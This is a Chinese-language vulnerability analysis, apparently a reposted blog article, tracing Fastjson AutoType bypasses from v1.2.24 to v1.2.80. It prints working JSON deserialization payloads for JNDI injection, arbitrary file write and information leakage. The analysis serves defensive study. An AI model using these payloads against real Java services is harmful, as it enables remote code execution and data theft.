Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析_fastjson 1.2.80

声明

以下内容，来自且听安全公众号的QCyber作者原创，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，长白山攻防实验室以及文章作者不承担任何责任。

0x01 漏洞信息

近期Fastjson Develop Team报告了Fastjson v1.2.80存在AutoType绕过反序列化漏洞，通报如下：

漏洞在特定条件下可以绕过默认关闭的AutoType限制，结合一个新的利用链，可实现RCE 。

0x02 AuthType 机制

Fastjson通过函数`parse`或者`parse-Object`来完成字符串的反序列化操作，并且可以通过`@type`来指定反序列化的类型。

Fastjson v1.2.24可以通过

'JdbcRowSetImpl`来实现JNDI注入：

{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"ldap://localhost:1389/test", 
  "autoCommit":true
}
1
2
3
4
5

Fastjson v1.2.25推出了AutoType机制，在`DefaultJSONParser`中增加了 `checkAutoType`检查：

`checkAutoType`中存在黑白名单检查：

`autoTypeSupport`默认为`False` ，为了运行通过`@type`指定反序列化类型，正常情况下需要手动进行设置：

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
1

同时还存在黑名单校验：

所以Fastjson绕过历史可以分为AutoType机制绕过和黑名单绕过，绝大部分都是寻找一个新的利用链来绕过黑名单，所以Fastjson官方的黑名单列表越来越大，但是更有意义的绕过显然是AutoType机制绕过，这样无需手动配置 `autoTypeSupport`也可能进行利用。

0x03 Fastjson v1.2.47 绕过

Payload 如下：

{
    "x": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "y": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://localhost:1389/test",
        "autoCommit": true
    }
}
1
2
3
4
5
6
7
8
9
10
11

在进入`checkAutoType`之前，调用

`TypeUtils#addBaseClassMappings`函数将常见类加载到缓存的`mapping`对象：

然后进入`checkAutoType` ，因为`auto-TypeSupport`默认为`False` ，

所以尝试从`mapping`或者`deseriali-zers.findClass`中加载类：

通过`deserializers#findClass` 可以找到`java.lang.Class` 类；

回到`DefaultJSONParser` ，一直进入到第358行获取的`deserializer`对象为 `MiscCodec`类型，一直往下走，通过函数`deserialze`开始反序列化操作：

通过`parser.paese`提取到`objVal`的值为：

`com.sun.rowset.JdbcRowSetImpl`

继续往下走，一直到达如下判断：

跟进 `TypeUtils.loadClass` ：

在程序上下文环境中加载

`com.sun.rowset.JdbcRowSetImpl`类型并加入到`mapping`中。

由于我们Payload传入2个Json对象，所以会再次调用`check-AutoType` ：

此时在进行AutoType机制检查前已经返回了`clazz` ：

所以实现了AutoType机制的绕过。在v1.2.48版本中将`java.lang.Class`加入了黑名单。

0x04 Fastjson v1.2.50 绕过

Payload 如下：

{
    "@type":"java.lang.AutoCloseable",
    "@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
    "dataSourceName":"ldap://localhost:1389/test",
    "command":"a"
}
1
2
3
4
5
6

回到`checkAutoType`函数：

要想`expectClassFlag`取值为`True`，那么传入`checkAutoType`的`expectClass`类对象应该非空。

第一次从`parse`调用`checkAuto-Type`时，`expectClass`取值为`null` ，继续往下走：

如果在缓存`mapping`中能够匹配到类，`checkAutoType`将返回该类型对象。

Payload中用到的`java.lang.Auto-Closeable`正好位于缓存`mapping`

(`TypeUtils#addBaseClassMappings`)

继续往下走：

因为`clazz`取值为`java.lang.Auto-Closeable` ：

所以获取的`ObjectDeserializer`对象为`JavaBeanDeserializer`类型跟进

`JavaBeanDeserializer#deserialze`

会再次调用`checkAutoType`，

此时会将第二个`@type` 和非空的`expectClass` 传进去：

此时因为`expectClass`非空，所以绕过了AuthType检查机制。同时后面通过 `TypeUtils#loadClass`加载类的过程中，调用了`isAssignableFrom`，用来判断反序列化的类是否实现了`expectClass`接口，如果是将返回反序列化类对象。

`oracle.jdbc.rowset.OracleJDBCRowSet`继承关系如下图所示：

后面实现 JNDI 注入的过程就不分析了。在 v1.2.51 版本的补丁中只是将 `oracle.jdbc.rowset.OracleJDBCRowSet` 添加进入了黑名单。

0x05 Fastjson v1.2.68 绕过

严格意义上讲v1.2.68不是真正的AuthType绕过。

回顾前面的分析，由于 Fastjson并未将`java.lang.AutoCloseable`加入黑名单，所以理论上只要再寻找一个类继承于`java.lang.AutoCloseable` ，并且不在黑名单中，同时 get/set中存在可利用的操作即可。

Fastjson v1.2.68 绕过借助的类为`sun.rmi.server.MarshalOutputStream` ，继承关系如下：

最终可以实现任意文件写入，Payload 如下：

{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "/tmp/asdasd",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

AuthType绕过过程与v1.2.50一样，触发任意文件写入的过程就不进行分析了。

v1.2.69版本终于将`java.lang.Auto-Closeable`加入了黑名单，那么v1.2.50和v1.2.68的绕过方式也就无效了。

0x06 Fastjson v1.2.80 绕过

回顾v1.2.50和v1.2.68的绕过方式，主要是在`ObjectDeserializer`接口的子类 `JavaBeanDeserializer`中存在`expectClass`非空的`checkAuto-Type`调用，这也是绕过的关键。

顺着这个思路，我们继续在`Object-Deserializer`接口的其他子类中寻找`expectClass’非空的`checkAuto-Type`调用：

除了`JavaBeanDeserializer`之外，在子类`ThrowableDeserializer`的函数 `deserialze`中也存在满足条件的调用：

从`expressClass`定义来看，利用链类型必须继承于`Throwable` 。我们可以构造如下测试来调试一下解析过程(`java.lang.Exception`继承于 `Throwable`)：

{
  "@type":"java.lang.Exception", 
  "@type":"test",
  "a":"test"
}
1
2
3
4
5

第一次进入`checkAutoType`函数， `expressClass`参数为空：

尝试从缓存`mapping`中实例化

`clazz`(`TypeUtils#addBaseClassMappings`已经将`java.lang.Exception` 加入了`mapping`)：

往下走`getDeserializer`返回的`ObjectDeserializer` 为`Throwable-Deserializer`类型：

进入

`ThrowableDeserializer#deserialze` ，顺利到达`checkAutoType`：

与前面分析的绕过类似，第二次进入`checkAutoType` 时，`express-Class` 取值非空，从而实现绕过。

其实这种绕过方式在 2020 年就已经有大佬放出来了：

{
  "x":{
    "@type":"java.lang.Exception",
    "@type":"org.openqa.selenium.WebDriverException"
  },
  "y":{
    "$ref":"$x.systemInformation"
  }
}
1
2
3
4
5
6
7
8
9

这是一个信息泄露的利用链，这条链的分析网上已经不少了，这里就不重复了。最近官方通报漏洞应该是有人找到了能够 RCE 的利用链，查看 v1.2.81 的黑名单可以看到新增了不少 hash （但是还没分析出来是哪个链，研究出来了再分享给大家吧~）。

原文链接：

https://mp.weixin.qq.com/s/kjttmJHtBiuYHItdmVTEIA?notreplace=true